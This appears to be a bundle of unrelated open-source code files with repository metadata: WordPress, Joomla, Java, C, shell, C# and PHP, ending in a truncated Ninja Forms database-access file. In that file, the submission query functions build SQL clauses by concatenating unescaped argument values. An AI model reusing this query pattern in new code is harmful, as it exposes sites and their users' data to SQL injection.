add_submenu_page('newsletter-pro/intro.php', 'Emails', 'Emails', $level, 'newsletter-pro/emails.php');
add_submenu_page('newsletter-pro/emails.php', 'Email Edit', 'Email Edit', $level, 'newsletter-pro/emails-edit.php');
add_submenu_page('newsletter-pro/emails.php', 'Email Statistics', 'Email Stats', $level, 'newsletter-pro/emails-stats.php');
add_submenu_page('newsletter-pro/intro.php', 'Subscribers', 'Subscribers', $level, 'newsletter-pro/users.php');
add_submenu_page('newsletter-pro/users.php', 'Subscribers Edit', 'Subscribers Edit', $level, 'newsletter-pro/users-edit.php');
add_submenu_page('newsletter-pro/users.php', 'Subscribers Statistics', 'Subscribers Statistics', $level, 'newsletter-pro/users-stats.php');
add_submenu_page('newsletter-pro/intro.php', 'Feed by mail', 'Feed by mail', $level, 'newsletter-pro/feed.php');
add_submenu_page('newsletter-pro/feed.php', 'Feed Email Edit', 'Feed Email Edit', $level, 'newsletter-pro/feed-edit.php');
add_submenu_page('newsletter-pro/intro.php', 'Follow Up', 'Follow Up', $level, 'newsletter-pro/followup.php');
add_submenu_page('newsletter-pro/intro.php', 'Import/Export', 'Import/Export', $level, 'newsletter-pro/import.php');
add_submenu_page('newsletter-pro/intro.php', 'Forms', 'Forms', $level, 'newsletter-pro/forms.php');
add_submenu_page('newsletter-pro/intro.php', 'Themes', 'Themes', $level, 'newsletter-pro/themes.php');
add_submenu_page('newsletter-pro/intro.php', 'Statistics', 'Statistics', $level, 'newsletter-pro/statistics/statistics.php');
add_submenu_page('newsletter-pro/statistics/statistics.php', 'Statistics Clicks', 'Statistics Clicks', $level, 'newsletter-pro/statistics/statistics-clicks.php');
add_submenu_page('newsletter-pro/statistics/statistics.php', 'Statistics Profiles', 'Statistics Profiles', $level, 'newsletter-pro/statistics/statistics-profiles.php');
add_submenu_page('newsletter-pro/statistics/statistics.php', 'Statistics Users', 'Statistics Users', $level, 'newsletter-pro/statistics/statistics-users.php');
?>
|
cheems77/nb
|
wp-content/plugins/newsletter-pro/plugin-menu.inc.php
|
PHP
|
gpl-2.0
| 2,665 |
package com.atux.desktop.comun.auditoria;
import com.aw.stereotype.AWPresenter;
import com.aw.swing.mvp.AWFormPresenter;
import com.aw.swing.mvp.Presenter;
import com.aw.swing.mvp.PstMgr;
import com.aw.swing.mvp.action.ActionConfig;
import com.aw.swing.mvp.ui.laf.LookAndFeelManager;
import java.util.Date;
import java.util.List;
//import com.atux.desktop.comun.links.VerUsuarioAction;
//import com.atux.dominio.usuario.SVUsuario;
/**
* User: gmc
* Date: 07/06/2009
*/
@AWPresenter(title = "Auditoría" ,secure = false)
public class AuditoriaInfoPst extends AWFormPresenter<BNAuditoriaInfo> {
private ActionConfig verUsuarioAction;
// @Autowired
// SVUsuario svUsuario;
FrmAuditoriaInfo vsr;
private ActionConfig actionShowUser;
private ActionConfig actionShowModi;
public AuditoriaInfoPst() {
setAutomaticBinding(true);
setShowAuditInfo(false);
}
public List getEnabledActionsOnReadOnly() {
List enabledActionsOnReadOnly = super.getEnabledActionsOnReadOnly();
if(!(vsr.txtNoUsuModi.getText().equals("")))
enabledActionsOnReadOnly.add(actionShowModi);
if(!(vsr.txtNoUsuCrea.getText().equals("")))
enabledActionsOnReadOnly.add(actionShowUser);
return enabledActionsOnReadOnly;
}
@Override
protected void registerBinding() {
bindingMgr.bind(vsr.txtFechCrea,"fechCreaStr");
bindingMgr.bind(vsr.txtFechModi,"fechModiStr");
}
public static void main(String[] args) {
new LookAndFeelManager().initialize();
// Application.instance().init();
Presenter presenter = PstMgr.instance().getPst(AuditoriaInfoPst.class);
BNAuditoriaInfo bnAuditoriaInfo = new BNAuditoriaInfo();
bnAuditoriaInfo.setUsuaCrea("asdfsdfas");
bnAuditoriaInfo.setFechCrea(new Date());
bnAuditoriaInfo.setFechModi(new Date());
presenter.setBackBean(bnAuditoriaInfo);
presenter.init();
}
protected void registerActions() {
// actionShowUser=actionRsr.registerAction("ShowUserCrea", new VerUsuarioAction().setLogin(getBackBean().getUsuaCrea()));
// actionShowModi=actionRsr.registerAction("ShowUserModi", new VerUsuarioAction().setLogin(getBackBean().getUsuaModi()));
}
// public void mostrarUsuario() {
// UsuarioTmImpl bnUsuario= svUsuario.getUsuario(getBackBean().getNoUsuCrea());
// verUsuarioAction = actionRsr.registerAction("ShowUserCrea", );
// }
}
|
AlanGuerraQuispe/SisAtuxPerfumeria
|
atux-desktop/src/main/java/com/atux/desktop/comun/auditoria/AuditoriaInfoPst.java
|
Java
|
gpl-2.0
| 2,572 |
/*
* Copyright (C) 2011 The Paparazzi Team
*
* This file is part of paparazzi.
*
* paparazzi is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any later version.
*
* paparazzi is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with paparazzi; see the file COPYING. If not, write to
* the Free Software Foundation, 59 Temple Place - Suite 330,
* Boston, MA 02111-1307, USA.
*/
#include <inttypes.h>
#include "std.h"
#include "mcu.h"
#include "mcu_periph/sys_time.h"
#include "led.h"
#include "mcu_periph/uart.h"
#include "mcu_periph/i2c.h"
#include "messages.h"
#include "subsystems/datalink/downlink.h"
#include "subsystems/imu.h"
#include "subsystems/ahrs.h"
#include "subsystems/ahrs/ahrs_aligner.h"
#include "my_debug_servo.h"
static inline void main_init( void );
static inline void main_periodic_task( void );
static inline void main_event_task( void );
static inline void main_report(void);
static inline void on_gyro_event(void);
static inline void on_accel_event(void);
static inline void on_mag_event(void);
int main( void ) {
main_init();
while(1) {
if (sys_time_check_and_ack_timer(0))
main_periodic_task();
main_event_task();
}
return 0;
}
static inline void main_init( void ) {
mcu_init();
sys_time_register_timer((1./PERIODIC_FREQUENCY), NULL);
imu_init();
ahrs_aligner_init();
ahrs_init();
DEBUG_SERVO1_INIT();
// DEBUG_SERVO2_INIT();
mcu_int_enable();
}
static inline void main_periodic_task( void ) {
if (sys_time.nb_sec > 1) imu_periodic();
RunOnceEvery(10, { LED_PERIODIC();});
main_report();
}
static inline void main_event_task( void ) {
ImuEvent(on_gyro_event, on_accel_event, on_mag_event);
}
static inline void on_gyro_event(void) {
ImuScaleGyro(imu);
if (ahrs.status == AHRS_UNINIT) {
ahrs_aligner_run();
if (ahrs_aligner.status == AHRS_ALIGNER_LOCKED)
ahrs_align();
}
else {
DEBUG_S1_ON();
ahrs_propagate();
DEBUG_S1_OFF();
}
}
static inline void on_accel_event(void) {
ImuScaleAccel(imu);
if (ahrs.status != AHRS_UNINIT) {
DEBUG_S2_ON();
ahrs_update_accel();
DEBUG_S2_OFF();
}
}
static inline void on_mag_event(void) {
ImuScaleMag(imu);
if (ahrs.status == AHRS_RUNNING) {
ahrs_update_mag();
}
}
static inline void main_report(void) {
PeriodicPrescaleBy10(
{
DOWNLINK_SEND_IMU_ACCEL_RAW(DefaultChannel, DefaultDevice,
&imu.accel_unscaled.x,
&imu.accel_unscaled.y,
&imu.accel_unscaled.z);
},
{
DOWNLINK_SEND_IMU_GYRO_RAW(DefaultChannel, DefaultDevice,
&imu.gyro_unscaled.p,
&imu.gyro_unscaled.q,
&imu.gyro_unscaled.r);
},
{
DOWNLINK_SEND_IMU_MAG_RAW(DefaultChannel, DefaultDevice,
&imu.mag_unscaled.x,
&imu.mag_unscaled.y,
&imu.mag_unscaled.z);
},
{
DOWNLINK_SEND_IMU_ACCEL_SCALED(DefaultChannel, DefaultDevice,
&imu.accel.x,
&imu.accel.y,
&imu.accel.z);
},
{
DOWNLINK_SEND_IMU_GYRO_SCALED(DefaultChannel, DefaultDevice,
&imu.gyro.p,
&imu.gyro.q,
&imu.gyro.r);
},
{
DOWNLINK_SEND_IMU_MAG_SCALED(DefaultChannel, DefaultDevice,
&imu.mag.x,
&imu.mag.y,
&imu.mag.z);
},
{
DOWNLINK_SEND_ALIVE(DefaultChannel, DefaultDevice, 16, MD5SUM);
},
{
#if USE_I2C2
uint16_t i2c2_queue_full_cnt = i2c2.errors->queue_full_cnt;
uint16_t i2c2_ack_fail_cnt = i2c2.errors->ack_fail_cnt;
uint16_t i2c2_miss_start_stop_cnt = i2c2.errors->miss_start_stop_cnt;
uint16_t i2c2_arb_lost_cnt = i2c2.errors->arb_lost_cnt;
uint16_t i2c2_over_under_cnt = i2c2.errors->over_under_cnt;
uint16_t i2c2_pec_recep_cnt = i2c2.errors->pec_recep_cnt;
uint16_t i2c2_timeout_tlow_cnt = i2c2.errors->timeout_tlow_cnt;
uint16_t i2c2_smbus_alert_cnt = i2c2.errors->smbus_alert_cnt;
uint16_t i2c2_unexpected_event_cnt = i2c2.errors->unexpected_event_cnt;
uint32_t i2c2_last_unexpected_event = i2c2.errors->last_unexpected_event;
const uint8_t _bus2 = 2;
DOWNLINK_SEND_I2C_ERRORS(DefaultChannel, DefaultDevice,
&i2c2_queue_full_cnt,
&i2c2_ack_fail_cnt,
&i2c2_miss_start_stop_cnt,
&i2c2_arb_lost_cnt,
&i2c2_over_under_cnt,
&i2c2_pec_recep_cnt,
&i2c2_timeout_tlow_cnt,
&i2c2_smbus_alert_cnt,
&i2c2_unexpected_event_cnt,
&i2c2_last_unexpected_event,
&_bus2);
#endif
},
{
DOWNLINK_SEND_AHRS_EULER_INT(DefaultChannel, DefaultDevice,
&ahrs.ltp_to_imu_euler.phi,
&ahrs.ltp_to_imu_euler.theta,
&ahrs.ltp_to_imu_euler.psi,
&ahrs.ltp_to_body_euler.phi,
&ahrs.ltp_to_body_euler.theta,
&ahrs.ltp_to_body_euler.psi);
},
{
DOWNLINK_SEND_AHRS_GYRO_BIAS_INT(DefaultChannel, DefaultDevice,
&ahrs_impl.gyro_bias.p,
&ahrs_impl.gyro_bias.q,
&ahrs_impl.gyro_bias.r);
});
}
|
lplp8899/paparazzi
|
sw/airborne/test/subsystems/test_ahrs.c
|
C
|
gpl-2.0
| 6,301 |
<?php
/**
* @version $Id: default.php 19482 2010-11-15 18:44:36Z dextercowley $
* @package Joomla.Installation
* @copyright Copyright (C) 2005 - 2010 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
// Load the JavaScript behaviors.
JHtml::_('behavior.keepalive');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('script', 'installation/template/js/installation.js', true, false, false, false);
?>
<div id="stepbar">
<div class="t">
<div class="t">
<div class="t"></div>
</div>
</div>
<div class="m">
<?php echo JHtml::_('installation.stepbar', 1); ?>
<div class="box"></div>
</div>
<div class="b">
<div class="b">
<div class="b"></div>
</div>
</div>
</div>
<div id="warning">
<noscript>
<div id="javascript-warning">
<?php echo JText::_('INSTL_WARNJAVASCRIPT'); ?>
</div>
</noscript>
</div>
<form action="index.php" method="post" id="adminForm" class="form-validate">
<div id="right">
<div id="rightpad">
<div id="step">
<div class="t">
<div class="t">
<div class="t"></div>
</div>
</div>
<div class="m">
<div class="far-right">
<?php if ($this->document->direction == 'ltr') : ?>
<div class="button1-left"><div class="next"><a href="javascript:void(0);" onclick="validateForm(document.getElementById('adminForm'), 'setup.setlanguage');" title="<?php echo JText::_('JNext'); ?>"><?php echo JText::_('JNext'); ?></a></div></div>
<?php elseif ($this->document->direction == 'rtl') : ?>
<div class="button1-right"><div class="prev"><a href="javascript:void(0);" onclick="validateForm(document.getElementById('adminForm'), 'setup.setlanguage');" title="<?php echo JText::_('JNext'); ?>"><?php echo JText::_('JNext'); ?></a></div></div>
<?php endif; ?>
</div>
<span class="step"><?php echo JText::_('INSTL_LANGUAGE_TITLE'); ?></span>
</div>
<div class="b">
<div class="b">
<div class="b"></div>
</div>
</div>
</div>
<div id="installer">
<div class="t">
<div class="t">
<div class="t"></div>
</div>
</div>
<div class="m">
<h2><?php echo JText::_('INSTL_SELECT_LANGUAGE_TITLE'); ?></h2>
<div class="install-text">
<?php echo JText::_('INSTL_SELECT_LANGUAGE_DESC'); ?>
</div>
<div class="install-body">
<div class="t">
<div class="t">
<div class="t"></div>
</div>
</div>
<div class="m">
<fieldset>
<?php echo $this->form->getInput('language'); ?>
</fieldset>
<div class="clr"></div>
</div>
<div class="b">
<div class="b">
<div class="b"></div>
</div>
</div>
<div class="clr"></div>
</div>
<div class="clr"></div>
</div>
<div class="b">
<div class="b">
<div class="b"></div>
</div>
</div>
</div>
</div>
<input type="hidden" name="task" value="" />
<?php echo JHtml::_('form.token'); ?>
</div>
<div class="clr"></div>
</form>
|
djoudi/cambodian-property-today
|
installations/views/language/tmpl/default.php
|
PHP
|
gpl-2.0
| 3,216 |
#!/bin/sh
export PATH=${PATH}:/opt/dlrc/buildroot-2014.02-imx6/output/host/usr/bin
cat <<EOF
--prefix=/opt/dlrc/buildroot-2014.02-imx6/output/host/usr
--target=arm-buildroot-linux-uclibcgnueabi
CROSS_COMPILE=arm-buildroot-linux-uclibcgnueabi-
EOF
|
BinChengfei/buildroot-2014.02-imx6
|
envsetup.sh
|
Shell
|
gpl-2.0
| 251 |
<?php
/*
* Copyright 2014 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
class Google_Service_CloudRetail_GoogleProtobufEmpty extends Google_Model
{
}
|
palasthotel/grid-wordpress-box-social
|
vendor/google/apiclient-services/src/Google/Service/CloudRetail/GoogleProtobufEmpty.php
|
PHP
|
gpl-2.0
| 676 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace QuizWebApp.Models
{
public class Answer
{
public int AnswerID { get; set; }
public string PlayerID { get; set; }
public int QuestionID { get; set; }
public int ChoosedOptionIndex { get; set; }
/// <summary>
/// 0: no entry.
/// 1: pending.
/// 2: correct.
/// 3: incorrect.
/// </summary>
public AnswerStateType Status { get; set; }
}
}
|
jsakamoto/quiz-webapp
|
QuizWebApp/Models/Answer.cs
|
C#
|
gpl-2.0
| 539 |
/*******************************************************************************
* This file is part of OpenNMS(R).
*
* Copyright (C) 2007-2011 The OpenNMS Group, Inc.
* OpenNMS(R) is Copyright (C) 1999-2011 The OpenNMS Group, Inc.
*
* OpenNMS(R) is a registered trademark of The OpenNMS Group, Inc.
*
* OpenNMS(R) is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published
* by the Free Software Foundation, either version 3 of the License,
* or (at your option) any later version.
*
* OpenNMS(R) is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with OpenNMS(R). If not, see:
* http://www.gnu.org/licenses/
*
* For more information contact:
* OpenNMS(R) Licensing <[email protected]>
* http://www.opennms.org/
* http://www.opennms.com/
*******************************************************************************/
package org.opennms.web.element;
import java.util.Comparator;
/**
* <p>InterfaceIpAddressComparator class.</p>
*
* @author <a href="mailto:[email protected]">DJ Gregor</a>
* @version $Id: $
* @since 1.8.1
*/
public class InterfaceIpAddressComparator implements Comparator<Interface> {
/**
* <p>compare</p>
*
* @param i1 a {@link org.opennms.web.element.Interface} object.
* @param i2 a {@link org.opennms.web.element.Interface} object.
* @return a int.
*/
public int compare(Interface i1, Interface i2) {
return i1.getIpAddress().compareTo(i2.getIpAddress());
}
// public boolean equals(Interface i1, Interface i2) {
// return i1.getIpAddress().equals(i2.getIpAddress());
// }
}
|
tharindum/opennms_dashboard
|
opennms-webapp/src/main/java/org/opennms/web/element/InterfaceIpAddressComparator.java
|
Java
|
gpl-2.0
| 1,928 |
<?php
// Begin Form Interaction Functions
function ninja_forms_insert_field( $form_id, $args = array() ){
global $wpdb;
$insert_array = array();
$insert_array['type'] = $args['type'];
$insert_array['form_id'] = $form_id;
if( isset( $args['data'] ) ){
$insert_array['data'] = $args['data'];
}else{
$insert_array['data'] = '';
}
if( isset( $args['order'] ) ){
$insert_array['order'] = $args['order'];
}else{
$insert_array['order'] = 999;
}
if( isset( $args['fav_id'] ) ){
$insert_array['fav_id'] = $args['fav_id'];
}
if( isset( $args['def_id'] ) ){
$insert_array['def_id'] = $args['def_id'];
}
$new_field = $wpdb->insert( NINJA_FORMS_FIELDS_TABLE_NAME, $insert_array );
$new_id = $wpdb->insert_id;
return $new_id;
}
function ninja_forms_get_form_by_id($form_id){
global $wpdb;
$form_row = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".NINJA_FORMS_TABLE_NAME." WHERE id = %d", $form_id), ARRAY_A);
$form_row['data'] = unserialize($form_row['data']);
$form_row['data'] = ninja_forms_stripslashes_deep($form_row['data']);
return $form_row;
}
function ninja_forms_get_all_forms( $debug = false ){
global $wpdb;
if( isset( $_REQUEST['debug'] ) AND $_REQUEST['debug'] == true ){
$debug = true;
}
$form_results = $wpdb->get_results("SELECT * FROM ".NINJA_FORMS_TABLE_NAME, ARRAY_A);
if(is_array($form_results) AND !empty($form_results)){
$x = 0;
$count = count($form_results) - 1;
while($x <= $count){
if( isset( $form_results[$x]['data'] ) ){
$form_results[$x]['data'] = unserialize($form_results[$x]['data']);
if( substr( $form_results[$x]['data']['form_title'], 0, 1 ) == '_' ){
if( !$debug ){
unset( $form_results[$x] );
}
}
}
$x++;
}
}
$form_results = array_values($form_results);
return $form_results;
}
function ninja_forms_get_form_by_field_id( $field_id ){
global $wpdb;
$form_id = $wpdb->get_row($wpdb->prepare("SELECT form_id FROM ".NINJA_FORMS_FIELDS_TABLE_NAME." WHERE id = %d", $field_id), ARRAY_A);
$form_row = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".NINJA_FORMS_TABLE_NAME." WHERE id = %d", $form_id), ARRAY_A);
$form_row['data'] = unserialize($form_row['data']);
return $form_row;
}
function ninja_forms_get_form_ids_by_post_id( $post_id ){
global $wpdb;
$form_ids = array();
if( is_page( $post_id ) ){
$form_results = ninja_forms_get_all_forms();
if(is_array($form_results) AND !empty($form_results)){
foreach($form_results as $form){
$form_data = $form['data'];
if(isset($form_data['append_page']) AND !empty($form_data['append_page'])){
if($form_data['append_page'] == $post_id){
$form_ids[] = $form['id'];
}
}
}
}
$form_id = get_post_meta( $post_id, 'ninja_forms_form', true );
if( !empty( $form_id ) ){
$form_ids[] = $form_id;
}
}else if( is_single( $post_id ) ){
$form_id = get_post_meta( $post_id, 'ninja_forms_form', true );
if( !empty( $form_id ) ){
$form_ids[] = $form_id;
}
}
return $form_ids;
}
function ninja_forms_get_form_by_sub_id( $sub_id ){
global $wpdb;
$sub_row = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM ".NINJA_FORMS_SUBS_TABLE_NAME." WHERE id = %d", $sub_id ), ARRAY_A );
$form_id = $sub_row['form_id'];
$form_row = ninja_forms_get_form_by_id( $form_id );
return $form_row;
}
// The ninja_forms_delete_form( $form_id ) function is in includes/admin/ajax.php
function ninja_forms_update_form( $args ){
global $wpdb;
$update_array = $args['update_array'];
$where = $args['where'];
$wpdb->update(NINJA_FORMS_TABLE_NAME, $update_array, $where);
}
// Begin Field Interaction Functions
function ninja_forms_get_field_by_id($field_id){
global $wpdb;
$field_row = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".NINJA_FORMS_FIELDS_TABLE_NAME." WHERE id = %d", $field_id), ARRAY_A);
if( $field_row != null ){
$field_row['data'] = unserialize($field_row['data']);
return $field_row;
}else{
return false;
}
}
function ninja_forms_get_fields_by_form_id($form_id, $orderby = 'ORDER BY `order` ASC'){
global $wpdb;
$field_results = $wpdb->get_results($wpdb->prepare("SELECT * FROM ".NINJA_FORMS_FIELDS_TABLE_NAME." WHERE form_id = %d ".$orderby, $form_id), ARRAY_A);
if(is_array($field_results) AND !empty($field_results)){
$x = 0;
$count = count($field_results) - 1;
while($x <= $count){
$field_results[$x]['data'] = unserialize($field_results[$x]['data']);
$x++;
}
}
return $field_results;
}
function ninja_forms_get_all_fields(){
global $wpdb;
$field_results = $wpdb->get_results("SELECT * FROM ".NINJA_FORMS_FIELDS_TABLE_NAME, ARRAY_A);
if(is_array($field_results) AND !empty($field_results)){
$x = 0;
$count = count($field_results) - 1;
while($x <= $count){
$field_results[$x]['data'] = unserialize($field_results[$x]['data']);
$x++;
}
}
return $field_results;
}
function ninja_forms_update_field($args){
global $wpdb;
$update_array = $args['update_array'];
$where = $args['where'];
$wpdb->update(NINJA_FORMS_FIELDS_TABLE_NAME, $update_array, $where);
}
function ninja_forms_delete_field( $field_id ){
global $wpdb;
$wpdb->query($wpdb->prepare("DELETE FROM ".NINJA_FORMS_FIELDS_TABLE_NAME." WHERE id = %d", $field_id), ARRAY_A);
}
// Begin Favorite Fields Interaction Functions
function ninja_forms_get_fav_by_id($fav_id){
global $wpdb;
$fav_row = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".NINJA_FORMS_FAV_FIELDS_TABLE_NAME." WHERE id = %d", $fav_id), ARRAY_A);
$fav_row['data'] = unserialize($fav_row['data']);
return $fav_row;
}
function ninja_forms_delete_fav_by_id($fav_id){
global $wpdb;
$wpdb->query($wpdb->prepare("DELETE FROM ".NINJA_FORMS_FAV_FIELDS_TABLE_NAME." WHERE id = %d", $fav_id), ARRAY_A);
}
function ninja_forms_get_all_favs(){
global $wpdb;
$fav_results = $wpdb->get_results($wpdb->prepare("SELECT * FROM ".NINJA_FORMS_FAV_FIELDS_TABLE_NAME." WHERE row_type = %d ORDER BY name ASC", 1), ARRAY_A);
if(is_array($fav_results) AND !empty($fav_results)){
$x = 0;
$count = count($fav_results) - 1;
while($x <= $count){
$fav_results[$x]['data'] = unserialize($fav_results[$x]['data']);
$x++;
}
}
return $fav_results;
}
// Begin Defined Fields Functions
function ninja_forms_get_def_by_id($def_id){
global $wpdb;
$def_row = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".NINJA_FORMS_FAV_FIELDS_TABLE_NAME." WHERE id = %d", $def_id), ARRAY_A);
$def_row['data'] = unserialize($def_row['data']);
return $def_row;
}
function ninja_forms_get_all_defs(){
global $wpdb;
$def_results = $wpdb->get_results($wpdb->prepare("SELECT * FROM ".NINJA_FORMS_FAV_FIELDS_TABLE_NAME." WHERE row_type = %d", 0), ARRAY_A);
if(is_array($def_results) AND !empty($def_results)){
$x = 0;
$count = count($def_results) - 1;
while($x <= $count){
$def_results[$x]['data'] = unserialize($def_results[$x]['data']);
$x++;
}
}
return $def_results;
}
// Begin Submission Interaction Functions
/*
*
* Function that returns a count of the number of submissions.
*
* @since 2.3.8
* @return string $count
*/
function ninja_forms_get_subs_count( $args = array() ) {
global $wpdb;
$plugin_settings = get_option( 'ninja_forms_settings' );
if ( isset ( $plugin_settings['date_format'] ) ) {
$date_format = $plugin_settings['date_format'];
} else {
$date_format = 'm/d/Y';
}
if(is_array($args) AND !empty($args)){
$where = '';
if(isset($args['form_id'])){
$where = '`form_id` = '.$args['form_id'];
unset($args['form_id']);
}
if(isset($args['user_id'])){
if($where != ''){
$where .= ' AND ';
}
$where .= '`user_id` = '.$args['user_id'];
unset($args['user_id']);
}
if(isset($args['status'])){
if($where != ''){
$where .= ' AND ';
}
$where .= '`status` = '.$args['status'];
unset($args['status']);
}
if(isset($args['action'])){
if($where != ''){
$where .= ' AND ';
}
$where .= '`action` = "'.$args['action'].'"';
unset($args['action']);
}
if(isset($args['begin_date']) AND $args['begin_date'] != ''){
$begin_date = $args['begin_date'];
if ( $date_format == 'd/m/Y' ) {
$begin_date = str_replace( '/', '-', $begin_date );
} else if ( $date_format == 'm-d-Y' ) {
$begin_date = str_replace( '-', '/', $begin_date );
}
$begin_date = strtotime($begin_date);
$begin_date = date("Y-m-d G:i:s", $begin_date);
unset($args['begin_date']);
}else{
unset($args['begin_date']);
$begin_date = '';
}
if(isset($args['end_date']) AND $args['end_date'] != ''){
$end_date = $args['end_date'];
if ( $date_format == 'd/m/Y' ) {
$end_date = str_replace( '/', '-', $end_date );
} else if ( $date_format == 'm-d-Y' ) {
$end_date = str_replace( '-', '/', $end_date );
}
$end_date = strtotime($end_date);
$end_date = date("Y-m-d G:i:s", $end_date);
unset($args['end_date']);
}else{
unset($args['end_date']);
$end_date = '';
}
}
if($begin_date != ''){
if($where != ''){
$where .= ' AND ';
}
$where .= "date_updated > '".$begin_date."'";
}
if($end_date != ''){
if($where != ''){
$where .= ' AND ';
}
$where .= "date_updated < '".$end_date."'";
}
$subs_results = $wpdb->get_results($wpdb->prepare("SELECT COUNT(*) FROM ".NINJA_FORMS_SUBS_TABLE_NAME." WHERE ".$where." ORDER BY `date_updated`", NINJA_FORMS_SUBS_TABLE_NAME), ARRAY_A);
return $subs_results[0]['COUNT(*)'];
}
function ninja_forms_get_subs($args = array()){
global $wpdb;
$plugin_settings = get_option( 'ninja_forms_settings' );
if ( isset ( $plugin_settings['date_format'] ) ) {
$date_format = $plugin_settings['date_format'];
} else {
$date_format = 'm/d/Y';
}
if(is_array($args) AND !empty($args)){
$where = '';
if(isset($args['form_id'])){
$where = '`form_id` = '.$args['form_id'];
unset($args['form_id']);
}
if(isset($args['user_id'])){
if($where != ''){
$where .= ' AND ';
}
$where .= '`user_id` = '.$args['user_id'];
unset($args['user_id']);
}
if(isset($args['status'])){
if($where != ''){
$where .= ' AND ';
}
$where .= '`status` = '.$args['status'];
unset($args['status']);
}
if(isset($args['action'])){
if($where != ''){
$where .= ' AND ';
}
$where .= '`action` = "'.$args['action'].'"';
unset($args['action']);
}
if(isset($args['begin_date']) AND $args['begin_date'] != ''){
$begin_date = $args['begin_date'];
if ( $date_format == 'd/m/Y' ) {
$begin_date = str_replace( '/', '-', $begin_date );
} else if ( $date_format == 'm-d-Y' ) {
$begin_date = str_replace( '-', '/', $begin_date );
}
$begin_date = strtotime($begin_date);
$begin_date = date("Y-m-d G:i:s", $begin_date);
unset($args['begin_date']);
}else{
unset($args['begin_date']);
$begin_date = '';
}
if(isset($args['end_date']) AND $args['end_date'] != ''){
$end_date = $args['end_date'];
if ( $date_format == 'd/m/Y' ) {
$end_date = str_replace( '/', '-', $end_date );
} else if ( $date_format == 'm-d-Y' ) {
$end_date = str_replace( '-', '/', $end_date );
}
$end_date = strtotime($end_date);
$end_date = date("Y-m-d G:i:s", $end_date);
unset($args['end_date']);
}else{
unset($args['end_date']);
$end_date = '';
}
}
if($begin_date != ''){
if($where != ''){
$where .= ' AND ';
}
$where .= "date_updated > '".$begin_date."'";
}
if($end_date != ''){
if($where != ''){
$where .= ' AND ';
}
$where .= "date_updated < '".$end_date."'";
}
$limit = '';
if(isset($args['limit'])){
$limit = " LIMIT ".$args['limit'];
unset($args['limit']);
}
$subs_results = $wpdb->get_results($wpdb->prepare("SELECT * FROM ".NINJA_FORMS_SUBS_TABLE_NAME." WHERE ".$where." ORDER BY `date_updated` DESC ".$limit, NINJA_FORMS_SUBS_TABLE_NAME), ARRAY_A);
if(is_array($subs_results) AND !empty($subs_results)){
$x = 0;
$sub_count = count($subs_results) - 1;
while($x <= $sub_count){
$subs_results[$x]['data'] = unserialize($subs_results[$x]['data']);
$x++;
}
}
//Now that we have our sub results, let's loop through them and remove any that don't match our args array.
if(is_array($args) AND !empty($args)){ //Make sure that our args variable still has something left in it. If not, we don't need to run anything else.
if(is_array($subs_results) AND !empty($subs_results)){
foreach($subs_results as $key => $val){ //Initiate a loop that will run for all of our submissions.
//Set our $data variable. This variable contains an array that looks like: array('field_id' => 13, 'user_value' => 'Hello World!').
if(!is_array($subs_results[$key]['data'])){
$subs_results[$key]['data'] = unserialize($subs_results[$key]['data']);
}
$data = $subs_results[$key]['data'];
if(is_array($data) AND !empty($data)){ //Check to make sure that the $data variable isn't empty, or not an array.
$unset = false; //We initially assume that the submission should be kept, hence, $unset is set to false.
$x = 1; //Initiate our counter.
foreach($data as $d){ //Loop through our $data variable.
if(isset($args[$d['field_id']])){ //If the field id is found within the args array, then we should check its value.
if($args[$d['field_id']] != $d['user_value']){ //If the values are not equal, we set $unset to true.
$unset = true;
}
}
if($x == count($data)){ //If we are on the last item, this is our last chance to find the field id in the args array.
if(!isset($args[$d['field_id']])){ //If the field id is not found within the args array, then we know it doesn't exist.
//$unset = true; //We've reached the last item without finding our field id in the sent args array. Set $untrue to true.
}
}
$x++;
}
if($unset){
unset($subs_results[$key]); //If $unset ias been set to true above, unset the given submission before returning the results.
}
}
}
}
}
return $subs_results;
}
function ninja_forms_get_sub_by_id($sub_id){
global $wpdb;
$sub_row = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".NINJA_FORMS_SUBS_TABLE_NAME." WHERE id = %d", $sub_id), ARRAY_A);
if( $sub_row ){
$sub_row['data'] = unserialize($sub_row['data']);
}
return $sub_row;
}
function ninja_forms_get_all_subs( $form_id = '' ){
global $wpdb;
if( $form_id != '' ){
$sub_results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM ".NINJA_FORMS_SUBS_TABLE_NAME." WHERE form_id = %d", $form_id), ARRAY_A);
}else{
$sub_results = $wpdb->get_results( "SELECT * FROM ".NINJA_FORMS_SUBS_TABLE_NAME, ARRAY_A );
}
return $sub_results;
}
function ninja_forms_insert_sub($args){
global $wpdb;
$update_array = $args;
$wpdb->insert( NINJA_FORMS_SUBS_TABLE_NAME, $update_array );
return $wpdb->insert_id;
}
function ninja_forms_update_sub($args){
global $wpdb;
$update_array = array();
